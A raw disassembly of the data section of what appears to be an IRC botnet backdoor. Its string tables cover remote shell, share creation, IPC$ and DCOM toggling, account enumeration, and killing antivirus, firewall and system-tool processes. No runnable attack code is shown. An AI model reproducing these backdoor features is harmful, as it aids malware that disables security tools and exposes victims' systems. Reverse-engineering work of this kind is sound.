unk_439C70	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439C98	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439CC8	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EA4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439ED8	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A1E0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A238	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A340
		dd offset dword_43A334
		dd offset dword_43A328
		dd offset dword_43A31C
		dd offset dword_43A310
		dd offset dword_43A304
		dd offset dword_43A2F4
		dd offset dword_43A2E8
		dd offset dword_43A2DC
		dd offset dword_43A2D0
		dd offset dword_43A2C4
		dd offset dword_43A2B4
		dd offset dword_43A2A8
		dd offset dword_43A298
dword_43A298	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A294o
dword_43A2A8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A28Co
dword_43A2C4	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A288o
dword_43A2D0	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A278o
dword_43A304	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A274o
dword_43A310	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A270o
dword_43A31C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A26Co
dword_43A328	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A268o
dword_43A334	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A264o
dword_43A340	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A260o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A254o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A250o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A24Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A248o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A244o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A240o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A23Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A238o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A3F0	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A414	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A438	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A4C0	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A4F0	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A524	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A548	dd offset dword_43A580	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A578
		align 8
off_43A558	dd offset dword_43A574	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A570
		dd offset dword_43A56C
		dd offset off_43A568
off_43A568	dd offset dword_5C3A44	; DATA XREF: sub_41A3C6+217o
					; ___:0043A564o
dword_43A56C	dd 2444h		; DATA XREF: ___:0043A560o
off_43A570	dd offset byte_5C3A43	; DATA XREF: ___:0043A55Co
dword_43A574	dd 2443h		; DATA XREF: ___:off_43A558o
dword_43A578	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A550o
dword_43A580	dd 24435049h, 0		; DATA XREF: ___:off_43A548o
dword_43A588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A5B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A5E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A60C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A630	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A65C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A680	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A6B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A720	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A770	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A7F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A820	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A868	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A91C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A938	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A990	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43AB9C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC78	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43AC9C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE0	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD00	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD30	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD5C	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD78	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADB4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD0	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADD4	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43ADD8	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43ADDC	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43ADE0	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43ADE4	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43ADE8	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43ADEC	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00	dd 4FCA8A6Bh		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE10	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE1C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE28	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE2C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE40	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE44	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE50	dd offset off_43AE50	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE54	dd offset off_43AE50	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE68
		dd offset dword_43AE68
dword_43AE60	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE68	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AE58o
					; ___:0043AE5Co
off_43CE70	dd offset off_43AE50	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE74	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE78	dd offset word_43CE82	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE7C	dd offset word_43CE82	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE82	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CE78o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D088	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D090	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D094	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D098	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0A0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0A4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0B0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D194	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D300	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D308	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D30C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3E0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D408	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D414	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D420	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D424	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D428	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D42C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
